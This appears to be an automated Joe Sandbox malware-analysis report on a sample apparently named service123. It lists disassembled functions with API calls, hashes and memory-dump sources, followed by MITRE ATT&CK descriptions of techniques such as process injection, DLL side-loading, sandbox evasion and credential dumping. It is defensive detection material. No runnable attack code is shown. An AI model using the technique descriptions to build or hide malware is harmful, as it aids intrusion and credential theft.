Instruction Fuzzy Hash: 87F13B74A0560ACFC704DF6CC084AAEBBF0BF88314B118A69EC95DB754E735E945CB85

Function 000529B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00052A31

Strings

NaN, xrefs: 000529B1

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: fputc
String ID: NaN
API String ID: 1992160199-1757892521
Opcode ID: 68ffc95d9e1d25a608f043cc23bf2ccf1fe7a9d213018a5cf932c0028062011a
Instruction ID: 9ea4641f8d490c0c1bf6c8eb0055961051f18b45a15f9042191f1ab6f7ccd5df
Opcode Fuzzy Hash: 68ffc95d9e1d25a608f043cc23bf2ccf1fe7a9d213018a5cf932c0028062011a
Instruction Fuzzy Hash: B6412771A04215CBDB60DF18C4C4757B7E5AF8A701B29C2A9DC889F34AD332DC4ACB91

Function 6C183080 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C183101

Strings

NaN, xrefs: 6C183081

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: fputc
String ID: NaN
API String ID: 1992160199-1757892521
Opcode ID: 754b8ce3f8fa4690721228c4aee24319d66584de9428a45dc667d3d97db26e02
Instruction ID: d851b00d2ea9a2360b2214d92922dac3f80cb75616702634f682911cd81c34ea
Opcode Fuzzy Hash: 754b8ce3f8fa4690721228c4aee24319d66584de9428a45dc667d3d97db26e02
Instruction Fuzzy Hash: 6D4118B1A0A615CBCB10CF18C480785B7E1AF86B04B69C699DC488F74AD336DC478F90

Function 6C204DD0 Relevance: 5.4, APIs: 4, Instructions: 352stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C204E0A
strlen.MSVCRT ref: 6C204E8D
strlen.MSVCRT ref: 6C204F10
strlen.MSVCRT ref: 6C204F93

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 5fc0f3d38de84651505d643bcde870a3825d5da594f0f460a4486780e04d14c5
Instruction ID: 7a01b436a50863b7d80b2141c07685d27523428b8d9d8adf1a1d54a316ec4c52
Opcode Fuzzy Hash: 5fc0f3d38de84651505d643bcde870a3825d5da594f0f460a4486780e04d14c5
Instruction Fuzzy Hash: 6AE13874A0560A8FC700DF6CC184AAEFBF1BF49314B108A6AE855DBB54E734E946CF81

Function 6C2045D0 Relevance: 5.4, APIs: 4, Instructions: 352stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C20460A
strlen.MSVCRT ref: 6C20468D
strlen.MSVCRT ref: 6C204710
strlen.MSVCRT ref: 6C204793

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 4c6d86476e25704b6e24d0f8e8987c56b19c6192adf55677571eb87d33f0dd5e
Instruction ID: fbfc12f3bac0b69bbaa4d191398c4e97fdeb6c21d14070d37d9a6d3a13536549
Opcode Fuzzy Hash: 4c6d86476e25704b6e24d0f8e8987c56b19c6192adf55677571eb87d33f0dd5e
Instruction Fuzzy Hash: 39E14974A0564A8FC700DF6CC184AAEFBF1BF89314B108A6AE855DB754E734E945CF81

Function 6C18E1F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89stringCOMMON

Download Yara Rule

APIs

strerror.MSVCRT ref: 6C18E1FE
strlen.MSVCRT ref: 6C18E211

Strings

basic_string: construction from null is not valid, xrefs: 6C18E233

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strerrorstrlen
String ID: basic_string: construction from null is not valid
API String ID: 960536887-2991274800
Opcode ID: b72d01361b134a221c812403442b4159c50c3a77616b1eeaff30b963f1c14c8a
Instruction ID: 0a5f597a23920eb1275d135b5eda08cad6d4a51af1ff902e54d3e28331257e4d
Opcode Fuzzy Hash: b72d01361b134a221c812403442b4159c50c3a77616b1eeaff30b963f1c14c8a
Instruction Fuzzy Hash: 6B115472A092008F8704FF3DC84545BB7F1AB9A614F45CA69DC4887704E634D5188FE3

Function 00052F46 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00052E97
fputc.MSVCRT ref: 00052F07
memset.MSVCRT ref: 00052FC2

Strings

o, xrefs: 00052F5E

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: o
API String ID: 2944404495-252678980
Opcode ID: d1991d27a04d65bd7075c62f110e734cf744bc34d9a2ff6285541d999189f403
Instruction ID: d3218113b146a382c89ee6e9cca94a1bc8f357d4acaa76e56d8021b5df44587f
Opcode Fuzzy Hash: d1991d27a04d65bd7075c62f110e734cf744bc34d9a2ff6285541d999189f403
Instruction Fuzzy Hash: A6312572904205CFCB10CF68C19579ABBF1BF4A342F158629DD89AB742E734ED48CB90

Function 6C183616 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C183567
fputc.MSVCRT ref: 6C1835D7
memset.MSVCRT ref: 6C183692

Strings

o, xrefs: 6C18362E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: o
API String ID: 2944404495-252678980
Opcode ID: 70f9009819c30ed6982fd80218ea7a036d91aa79bbb5e6e144e921cc07d2ecdd
Instruction ID: cec9e35138779e2ab9fb040898aa6e9ab9c08197d8eb898db95fd2aed4fa77c6
Opcode Fuzzy Hash: 70f9009819c30ed6982fd80218ea7a036d91aa79bbb5e6e144e921cc07d2ecdd
Instruction Fuzzy Hash: 7D315A72A0E605CFCB00CF68C190799BBF1BF49354F998659D989ABB41E738E902CF50

Function 00053424 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 0005338F
fputc.MSVCRT ref: 000533F1

Strings

@, xrefs: 0005342A

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: fputc
String ID: @
API String ID: 1992160199-2766056989
Opcode ID: 0837171a8a86bca28f46350b1f324809a3657fdd6de56afd08bfd6ae8b32df6d
Instruction ID: 2d83af985972fd07b48c140fc3a9cf474276296e72c1cdb2351439c679e2f29e
Opcode Fuzzy Hash: 0837171a8a86bca28f46350b1f324809a3657fdd6de56afd08bfd6ae8b32df6d
Instruction Fuzzy Hash: 72114CB1A042008BCB55CF28C1847AFBBE1BF44382F258558DD899F24ADB34EF08CB44

Function 6C183AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C183A5F
fputc.MSVCRT ref: 6C183AC1

Strings

@, xrefs: 6C183AFA

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: fputc
String ID: @
API String ID: 1992160199-2766056989
Opcode ID: 4ceeb5be7b06ab83894e5669f94d5ac76a8e9207d24777a966ec28ddf3749335
Instruction ID: 028d04b3a3bd54cfc6056cb4d782d717043c8b3382246b5d84dcceec854e4ded
Opcode Fuzzy Hash: 4ceeb5be7b06ab83894e5669f94d5ac76a8e9207d24777a966ec28ddf3749335
Instruction Fuzzy Hash: 0411DDB1A0E2108BCB01CF28C5C47997BB1BF55304FA98659DD999FB4AD338E802CF44

Function 000518B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0005191E

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000518FF
Unknown error, xrefs: 000518B2

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 463a18ad9eaff149512b55a38aa80614fb2e7e272900d8cf0a44d8c06105e144
Instruction ID: 9b735462b4e17b234bbc39f0642bb3be7b58752ecd39720a91f516e3f67da6da
Opcode Fuzzy Hash: 463a18ad9eaff149512b55a38aa80614fb2e7e272900d8cf0a44d8c06105e144
Instruction Fuzzy Hash: E401C470508B45CBD740AF15E48841BBFF1FF8A351F828998E9C846269CB3698A8C747

Function 6C1977B1 Relevance: 5.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C1977D3

Part of subcall function 6C1E4050: memcpy.MSVCRT(?,?,?,?,-00000001,?,?,6C1977E6), ref: 6C1E40B3

strlen.MSVCRT ref: 6C197844
strlen.MSVCRT ref: 6C1978B2
strlen.MSVCRT ref: 6C197926

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 6715bd0ea0726bc13048bdedd530f3e568815dc1b73d4aeb45d30afece752743
Instruction ID: f0fcb3764a950efb0fe71ad54dc3addc4084875e344418f962e76f616b5533b9
Opcode Fuzzy Hash: 6715bd0ea0726bc13048bdedd530f3e568815dc1b73d4aeb45d30afece752743
Instruction Fuzzy Hash: 045104B4A05A108FCB00EF28C09875DFBF1BF49308F4585AED8959F764CB35A809CB82

Function 00056B60 Relevance: 5.1, APIs: 4, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,00056C81,?,?,?,?,?,?,00000000,00054F24), ref: 00056B87
InitializeCriticalSection.KERNEL32(?,?,?,?,00056C81,?,?,?,?,?,?,00000000,00054F24), ref: 00056BC4
InitializeCriticalSection.KERNEL32(?,?,?,?,?,00056C81,?,?,?,?,?,?,00000000,00054F24), ref: 00056BD0
EnterCriticalSection.KERNEL32(?,?,?,?,00056C81,?,?,?,?,?,?,00000000,00054F24), ref: 00056BF8

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: 698965d75349f0cb13faad0b293b9451638184b37da81fd60353f00180161b61
Instruction ID: d7abcc0b5599dfd072a2fc848375cb71193f92b23afb939adefca1537b57306b
Opcode Fuzzy Hash: 698965d75349f0cb13faad0b293b9451638184b37da81fd60353f00180161b61
Instruction Fuzzy Hash: BF1100B15082404AFB60BB38E9C916B76E4EB01302F950927DC82C7615E73AD8C8C797

Function 6C188080 Relevance: 5.1, APIs: 4, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,00000002,?,6C1881A1), ref: 6C1880A7
InitializeCriticalSection.KERNEL32(?,?,00000002,?,6C1881A1), ref: 6C1880E4
InitializeCriticalSection.KERNEL32(?,?,?,00000002,?,6C1881A1), ref: 6C1880F0
EnterCriticalSection.KERNEL32(?,?,00000002,?,6C1881A1), ref: 6C188118

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: 7b204db255182068d0722d3e23b675aad93c3f2b4eda0ade8b694c484dfe0d4d
Instruction ID: 562a69c6607939e20b33e64d189232add9a9267b321b93a3d51c9be285fba20b
Opcode Fuzzy Hash: 7b204db255182068d0722d3e23b675aad93c3f2b4eda0ade8b694c484dfe0d4d
Instruction Fuzzy Hash: 991161B160B1048FEF10BF2999DA25A77B0EB27314F610926CC46C7A80E631D494CF97

Function 00052000 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,000521D3,?,?,?,?,?,000517E8), ref: 0005200E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,000521D3,?,?,?,?,?,000517E8), ref: 00052035
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,000521D3,?,?,?,?,?,000517E8), ref: 0005203C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,000521D3,?,?,?,?,?,000517E8), ref: 0005205C

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: de11f8261a8b331bebf5b074ce074a92e287355fa221b39b3ebed8a86ced119a
Instruction ID: fca6408cdab11854540533a9ad026f16e8401f927ca1c05ba8a204868d704143
Opcode Fuzzy Hash: de11f8261a8b331bebf5b074ce074a92e287355fa221b39b3ebed8a86ced119a
Instruction Fuzzy Hash: 9EF0A4755017008FEB20BF78D88491B7BA4EF05352F050429DE8487256D738E90ACBA6

Function 6C17AB50 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6C17AB5E
TlsGetValue.KERNEL32 ref: 6C17AB85
GetLastError.KERNEL32 ref: 6C17AB8C
LeaveCriticalSection.KERNEL32 ref: 6C17ABAC

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 53156dd80fca4f2576c714eddd6532c9bc7945168311bffba9b822f102a82433
Instruction ID: fff32c71a95a58649a61cf369635bb45be4b3fdb2a16e31ee1edd6f3d8879f93
Opcode Fuzzy Hash: 53156dd80fca4f2576c714eddd6532c9bc7945168311bffba9b822f102a82433
Instruction Fuzzy Hash: B1F0C2B2A05315CFDB10BFBAD4C990A7BB4EA55664F050278DD4847304EA30E958CBB3

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

